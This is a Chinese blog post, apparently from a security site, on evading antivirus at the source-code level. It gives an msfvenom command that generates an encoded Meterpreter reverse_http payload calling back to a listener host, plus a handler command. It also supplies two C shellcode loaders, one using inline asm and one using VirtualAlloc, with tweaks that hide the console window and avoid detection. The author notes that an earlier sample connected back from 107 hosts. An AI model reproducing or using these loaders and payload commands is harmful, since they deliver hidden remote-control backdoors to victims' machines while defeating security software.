简单的源码免杀过av

  • A+
所属分类:逆向工程
简单的源码免杀过av

点击蓝字关注我们吧!




1、前言



经常看到各种免杀的例子,源码免杀、二进制免杀、加载器免杀等等,最近来学习了一下源码层面的免杀,在实验过程中与杀软对抗最终成功免杀,写下本文做个记录。



2、shellcode生成和二进制文件编译



开始前有个小插曲,用360扫了扫之前编译的样本,当时v站查杀率1/72(提交到v站后cs一共上线了107台主机,emm): 


简单的源码免杀过av

 

今天扫描的时候: 


简单的源码免杀过av


 啊... Q哒不妞Q(Qwq) 

简单的源码免杀过av


好了不说了,进入正题,首先我们使用msfvenom生成C语言shellcode:


msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_http -e x86/shikata_ga_nai -i 12 -b 'x00' LHOST=192.168.8.102 LPORT=6666 -f c


简单的源码免杀过av


然后网上找了一段C语言加载shellcode的代码。

通过内联汇编加载shellcode:


#include<stdio.h>#include<windows.h>#include <time.h>#pragma comment(linker, "/OPT:nowin98")#pragma comment( linker, "/subsystem:"windows" /entry:"mainCRTStartup"") //不显示窗口unsigned char buf[] ="shellcode";int main(int argc,char const *argv[]){  //内联汇编  __asm     {       lea eax,buf;       call eax;     }}


话不多说,先编译上线测试,启动msf监听:


handler -p windows/meterpreter/reverse_http -H 0.0.0.0 -P 6666


简单的源码免杀过av

 

另一边编译源码,生成exe: 


简单的源码免杀过av


 双击执行exe,msf上线:

 

简单的源码免杀过av

 

执行过程发现没有被拦截,看起来这已经免杀了:


 

简单的源码免杀过av

 

好的,免杀成功,本文结束。




3、VS免杀测试




结束是不可能结束的,不然怎么混篇幅,只能换个不免杀的编译器,被杀了再随便改改源码这样子。


用VS2019来编译源码,启动vs: 


简单的源码免杀过av


简单的源码免杀过av


简单的源码免杀过av

 

是吧,被发现了,我们将恶意代码全部删除后编译,发现还是被杀: 


简单的源码免杀过av


 emmm? 怎么办啊,这都杀!? 其实有朋友应该注意到了下面这段代码,好吧 ,我是故意没删的,因为特征就是在这:

#pragma comment( linker, "/subsystem:"windows" /entry:"mainCRTStartup"")


接下来将这段代码删除,重新生成exe,然后进行扫描,发现成功过了杀软: 


简单的源码免杀过av


vs编译的这个内联加载不能正常上线,修改下加载方法:


#include<stdio.h>#include<windows.h>#include <time.h>int main(int argc, char const* argv[]){  unsigned char buf[] ="shellcode";  void* exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);  memcpy(exec, buf, sizeof buf);  ((void(*)())exec)();  return 0;}


那么编译执行后会有个DOS窗口: 


简单的源码免杀过av


这里我们ShowWindow函数来隐藏窗体: 


简单的源码免杀过av


需要两个参数:

一个是程序窗口句柄,可以通过GetConsoleWindow 来获得当前窗口句柄,

另一个是int类型的nCmdShow,来控制窗口的状态,这里使用SW_HIDE来隐藏窗口: 


简单的源码免杀过av




ShowWindow(GetConsoleWindow(), SW_HIDE);


然后再编译执行和免杀测试,可以看到免杀且无窗口: 


简单的源码免杀过av



4、参考


https://www.zhihu.com/question/282945808 https://blog.csdn.net/zac_sian/article/details/46778285 https://docs.microsoft.com/en-us/windows/console/getconsolewindow https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-showwindow



end




简单的源码免杀过av


发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: